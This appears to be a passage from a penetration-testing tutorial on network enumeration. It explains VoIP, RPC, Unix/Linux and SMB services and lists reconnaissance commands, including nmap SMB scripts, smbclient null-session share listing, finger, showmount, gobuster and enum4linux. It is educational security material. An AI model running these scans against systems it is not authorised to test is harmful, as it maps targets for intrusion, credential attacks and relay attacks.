https://substackcdn.com/image/fetch/$s_!uSFP!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95e8f519-174e-4d11-b630-082bd8306ec1_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!uSFP!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95e8f519-174e-4d11-b630-082bd8306ec1_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!uSFP!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95e8f519-174e-4d11-b630-082bd8306ec1_1500x500.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!uSFP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95e8f519-174e-4d11-b630-082bd8306ec1_1500x500.jpeg" width="1456" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/95e8f519-174e-4d11-b630-082bd8306ec1_1500x500.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:59151,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95e8f519-174e-4d11-b630-082bd8306ec1_1500x500.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!uSFP!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95e8f519-174e-4d11-b630-082bd8306ec1_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!uSFP!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95e8f519-174e-4d11-b630-082bd8306ec1_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!uSFP!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95e8f519-174e-4d11-b630-082bd8306ec1_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!uSFP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F95e8f519-174e-4d11-b630-082bd8306ec1_1500x500.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3><strong>How VoIP Works:</strong></h3><p><strong>Session Initiation Protocol (SIP)</strong> - Handles call setup, management, and termination. SIP servers coordinate communication between endpoints.</p><p><strong>Real-time Transport Protocol (RTP)</strong> - Carries the actual voice data between endpoints during active calls.</p><p><strong>Codecs</strong> - Compress and decompress voice data for efficient transmission. Common codecs include G.711, G.722, and G.729.</p><p><strong>VoIP Gateways</strong> - Bridge traditional phone systems with IP networks, allowing calls between VoIP and traditional phone users.</p><p>The communication flow typically involves: call initiation through SIP, negotiation of connection parameters, establishment of RTP streams for voice data, and finally call termination.</p><h3>With VoIP, you can find:</h3><ul><li><p>SIP server information</p></li><li><p>Extension numbers and user accounts</p></li><li><p>Voicemail systems</p></li><li><p>Conference bridge details</p></li><li><p>Call routing information</p></li><li><p>Codec information</p></li><li><p>Gateway configurations</p></li><li><p>Phone system manufacturer and version</p></li></ul><h3>VoIP Enumeration Tools:</h3><ul><li><p>SIPVicious: SIP protocol security testing suite</p></li><li><p>svmap: SIP endpoint scanner</p></li><li><p>Nmap SIP scripts</p></li><li><p>Metasploit VoIP modules</p></li><li><p>SiVuS: SIP vulnerability scanner</p></li></ul><div><hr></div><h2>RPC Enumeration</h2><p>RPC stands for Remote Procedure Call. It's a protocol that allows programs to execute procedures or functions on remote systems as if they were local calls.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!fzrw!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff07d2455-0277-42e1-ac96-6336b7e13ff0_1500x500.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!fzrw!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff07d2455-0277-42e1-ac96-6336b7e13ff0_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!fzrw!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff07d2455-0277-42e1-ac96-6336b7e13ff0_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!fzrw!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff07d2455-0277-42e1-ac96-6336b7e13ff0_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!fzrw!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff07d2455-0277-42e1-ac96-6336b7e13ff0_1500x500.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!fzrw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff07d2455-0277-42e1-ac96-6336b7e13ff0_1500x500.jpeg" width="1456" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f07d2455-0277-42e1-ac96-6336b7e13ff0_1500x500.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:66500,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff07d2455-0277-42e1-ac96-6336b7e13ff0_1500x500.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!fzrw!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff07d2455-0277-42e1-ac96-6336b7e13ff0_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!fzrw!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff07d2455-0277-42e1-ac96-6336b7e13ff0_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!fzrw!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff07d2455-0277-42e1-ac96-6336b7e13ff0_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!fzrw!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff07d2455-0277-42e1-ac96-6336b7e13ff0_1500x500.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>How RPC Works:</h3><p>RPC creates an abstraction layer that makes remote function calls appear identical to local function calls. The process involves several key components:</p><p><strong>Client Stub</strong> - Acts as a local representative of the remote procedure, handling the conversion of function calls into network messages.</p><p><strong>Server Stub</strong> - Receives network requests, unpacks parameters, calls the actual procedure, and packages the results for return transmission.</p><p><strong>RPC Runtime</strong> - Manages the underlying network communication, handles connection establishment, and deals with transmission errors.</p><p><strong>Portmapper/RPC Bind Service</strong> - Maps RPC program numbers to specific network ports, acting like a directory service for RPC services.</p><p>The communication flow starts when a client makes what appears to be a local function call. The client stub intercepts this call, packages the parameters, and sends them over the network. The server stub receives the request, calls the actual function, and returns the results back through the network.</p><h3>With RPC, you can find:</h3><ul><li><p>Available RPC services and program numbers</p></li><li><p>Version information for RPC programs</p></li><li><p>Network port mappings</p></li><li><p>Service endpoints</p></li><li><p>Authentication mechanisms</p></li><li><p>Supported RPC procedures</p></li><li><p>Server implementation details</p></li></ul><h3>RPC Enumeration Tools:</h3><ul><li><p>rpcinfo: Lists RPC services on remote systems</p></li><li><p>Nmap RPC scripts</p></li><li><p>rpc-grind: RPC endpoint enumeration</p></li><li><p>Metasploit RPC modules</p></li></ul><h3>RPC Enumeration Commands:</h3><pre><code><code># List all RPC services
rpcinfo -p [target_ip]

# Query specific program
rpcinfo -T tcp [target_ip] [program_number]

# Nmap RPC enumeration
nmap -sR [target_ip]
nmap --script rpc-grind [target_ip]</code></code></pre><div><hr></div><h2>Unix/Linux Enumeration</h2><p>Unix and Linux systems present unique enumeration opportunities due to their network services, file permissions, and system architecture.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!dv0r!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c633d14-c9aa-48d8-a522-87794e9ca999_1500x500.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!dv0r!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c633d14-c9aa-48d8-a522-87794e9ca999_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!dv0r!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c633d14-c9aa-48d8-a522-87794e9ca999_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!dv0r!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c633d14-c9aa-48d8-a522-87794e9ca999_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!dv0r!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c633d14-c9aa-48d8-a522-87794e9ca999_1500x500.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!dv0r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c633d14-c9aa-48d8-a522-87794e9ca999_1500x500.jpeg" width="1456" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/1c633d14-c9aa-48d8-a522-87794e9ca999_1500x500.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:60837,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c633d14-c9aa-48d8-a522-87794e9ca999_1500x500.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!dv0r!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c633d14-c9aa-48d8-a522-87794e9ca999_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!dv0r!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c633d14-c9aa-48d8-a522-87794e9ca999_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!dv0r!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c633d14-c9aa-48d8-a522-87794e9ca999_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!dv0r!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F1c633d14-c9aa-48d8-a522-87794e9ca999_1500x500.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>How Unix/Linux Systems Work:</h3><p>Unix/Linux systems follow a multi-user, multi-tasking architecture with several key characteristics that affect enumeration:</p><p><strong>File System Hierarchy</strong> - Everything is treated as a file, including devices and network connections. The system uses a unified directory structure starting from the root (/).</p><p><strong>User and Group Management</strong> - Systems maintain user accounts with specific privileges. The /etc/passwd file contains user information, while /etc/shadow stores password hashes.</p><p><strong>Network Services</strong> - Common services include SSH (port 22), HTTP/HTTPS (ports 80/443), FTP (port 21), and various remote access protocols.</p><p><strong>Process Management</strong> - The system runs multiple processes simultaneously, many of which may provide network services or contain sensitive information.</p><h3>With Unix/Linux, you can find:</h3><ul><li><p>User account information</p></li><li><p>Running processes and services</p></li><li><p>Network connections and listening ports</p></li><li><p>System configuration files</p></li><li><p>Installed software packages</p></li><li><p>File permissions and ownership</p></li><li><p>Environment variables</p></li><li><p>Cron jobs and scheduled tasks</p></li><li><p>Network interface configurations</p></li><li><p>System logs and audit trails</p></li></ul><h3>Unix/Linux Enumeration Tools:</h3><ul><li><p>enum4linux: Comprehensive Linux enumeration</p></li><li><p>LinPEAS: Linux Privilege Escalation Awesome Script</p></li><li><p>Nmap with various scripts</p></li><li><p>dirb/gobuster: Directory enumeration</p></li><li><p>LinEnum: Linux enumeration script</p></li></ul><h3>Common Unix/Linux Enumeration Commands:</h3><pre><code><code># User enumeration
finger @[target_ip]
rwho -a [target_ip]

# Service enumeration  
rpcinfo -p [target_ip]
showmount -e [target_ip]

# Directory enumeration
dirb http://[target_ip]
gobuster dir -u http://[target_ip] -w wordlist.txt</code></code></pre><div><hr></div><h2>SMB Enumeration (Ports 445, 135-139)</h2><p>SMB stands for Server Message Block on Windows, with its Linux equivalent called Samba. It's a network protocol used for sharing files, printers, and other resources between systems.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!YLn7!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F629d99fe-e6ef-43ca-88f9-4264a178329e_1500x500.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!YLn7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F629d99fe-e6ef-43ca-88f9-4264a178329e_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!YLn7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F629d99fe-e6ef-43ca-88f9-4264a178329e_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!YLn7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F629d99fe-e6ef-43ca-88f9-4264a178329e_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!YLn7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F629d99fe-e6ef-43ca-88f9-4264a178329e_1500x500.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!YLn7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F629d99fe-e6ef-43ca-88f9-4264a178329e_1500x500.jpeg" width="1456" height="485" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/629d99fe-e6ef-43ca-88f9-4264a178329e_1500x500.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:485,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:61736,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/173154131?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F629d99fe-e6ef-43ca-88f9-4264a178329e_1500x500.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!YLn7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F629d99fe-e6ef-43ca-88f9-4264a178329e_1500x500.jpeg 424w, https://substackcdn.com/image/fetch/$s_!YLn7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F629d99fe-e6ef-43ca-88f9-4264a178329e_1500x500.jpeg 848w, https://substackcdn.com/image/fetch/$s_!YLn7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F629d99fe-e6ef-43ca-88f9-4264a178329e_1500x500.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!YLn7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F629d99fe-e6ef-43ca-88f9-4264a178329e_1500x500.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h3>How SMB Works:</h3><p>SMB operates as a client-server protocol that enables applications to read and write files and request services from server programs across a network:</p><p><strong>SMB Sessions</strong> - Clients establish authenticated sessions with SMB servers, typically using NTLM or Kerberos authentication.</p><p><strong>Shares</strong> - The server presents network resources as "shares" - logical groupings of files, directories, or devices that clients can access.</p><p><strong>File and Print Services</strong> - SMB handles both file sharing (allowing remote file access) and print sharing (enabling network printing).</p><p><strong>Named Pipes</strong> - SMB supports named pipes for inter-process communication, allowing applications to communicate across the network.</p><p><strong>Different SMB Versions</strong> - SMB1 (legacy, vulnerable), SMB2 (improved performance), and SMB3 (enhanced security and features).</p><p>The protocol typically operates on ports 139 (NetBIOS Session Service) and 445 (SMB over TCP). SMB runs directly on TCP port 445 or via the NetBIOS API on UDP ports 137-138 and TCP ports 137 and 139. </p><p>By using the SMB service, users can access files and other data stored at a remote server. The SMB service also allows application users to read, write, and modify files on the remote server.</p><h3>With SMB, you can find:</h3><ul><li><p>Shared directories and files</p></li><li><p>User account information</p></li><li><p>Domain and workgroup details</p></li><li><p>System information and OS version</p></li><li><p>Access permissions for shares</p></li><li><p>Connected users and sessions</p></li><li><p>Password policies</p></li><li><p>Printer information</p></li><li><p>Administrative shares (C,ADMIN, ADMIN ,ADMIN, IPC$)</p></li><li><p>Machine names and NetBIOS information</p></li><li><p>Service banners and version details</p></li></ul><p>SMB enumeration provides attackers with a substantial amount of information about the target system, making networks running this service highly vulnerable to further exploitation.</p><h3>SMB Enumeration Process:</h3><p>SMB enumeration typically involves banner grabbing to obtain information such as OS details and versions of services running. Using this information, attackers can perform various attacks such as SMB relay attacks and brute-force attacks.</p><p>The enumeration process generally follows these steps:</p><ol><li><p><strong>Port Discovery</strong> - Scan for open SMB ports (139, 445) to identify active SMB services</p></li><li><p><strong>Service Detection</strong> - Determine SMB version, OS details, and service configuration</p></li><li><p><strong>Share Enumeration</strong> - List available network shares and their permissions</p></li><li><p><strong>User Enumeration</strong> - Identify valid user accounts and group memberships</p></li><li><p><strong>Session Analysis</strong> - Examine active connections and logged-in users</p></li></ol><h3>SMB Enumeration with Nmap:</h3><p>Nmap provides comprehensive SMB enumeration capabilities through its built-in scripts. The basic command for SMB enumeration is:</p><pre><code><code>nmap -p 445 -A &lt;target_IP&gt;</code></code></pre><p>In this command:</p><ul><li><p>The <code>-p</code> option specifies port 445 (the primary SMB port)</p></li><li><p>The <code>-A</code> option enables OS detection, version detection, script scanning, and traceroute information</p></li></ul><p>This scan reveals whether port 445 is open and provides detailed information about the SMB service, including:</p><ul><li><p>NetBIOS name and domain information</p></li><li><p>SMB protocol versions supported</p></li><li><p>Operating system details and version</p></li><li><p>SMB security configuration</p></li><li><p>Available shares and their permissions</p></li></ul><h3>Advanced Nmap SMB Scripts:</h3><p>Nmap includes specialized scripts for detailed SMB enumeration:</p><pre><code><code># Enumerate SMB shares
nmap --script smb-enum-shares -p 445 &lt;target_IP&gt;

# Enumerate users and groups  
nmap --script smb-enum-users -p 445 &lt;target_IP&gt;

# Check for SMB vulnerabilities
nmap --script smb-vuln-* -p 445 &lt;target_IP&gt;

# Get detailed SMB system information
nmap --script smb-os-discovery -p 445 &lt;target_IP&gt;

# Enumerate SMB protocols
nmap --script smb-protocols -p 445 &lt;target_IP&gt;

# Check SMB security mode
nmap --script smb-security-mode -p 445 &lt;target_IP&gt;</code></code></pre><h3>NetBIOS Enumeration via SMB:</h3><p>Since SMB often runs alongside NetBIOS, you can also target port 139:</p><pre><code><code>nmap -p 139 -A &lt;target_IP&gt;</code></code></pre><p>This reveals NetBIOS-specific information including machine names, workgroup details, and service registrations.</p><h3>SMB Enumeration with smbclient:</h3><p>The smbclient tool provides interactive SMB access and enumeration capabilities:</p><pre><code><code># List available shares without authentication
smbclient -L //&lt;target_IP&gt; -N

# List shares with username
smbclient -L //&lt;target_IP&gt; -U &lt;username&gt;

# Connect to a specific share
smbclient //&lt;target_IP&gt;/&lt;share_name&gt; -U &lt;username&gt;</code></code></pre><p>Common smbclient enumeration commands:</p><ul><li><p><code>-L</code> - List shares on the target</p></li><li><p><code>-N</code> - Suppress password prompt (null session)</p></li><li><p><code>-U</code> - Specify username for authentication</p></li></ul><h3>SMB Enumeration with enum4linux:</h3><p>enum4linux is a comprehensive tool specifically designed for SMB and NetBIOS enumeration:</p><pre><code><code># Basic enumeration
enum4linux &lt;target_IP&gt;

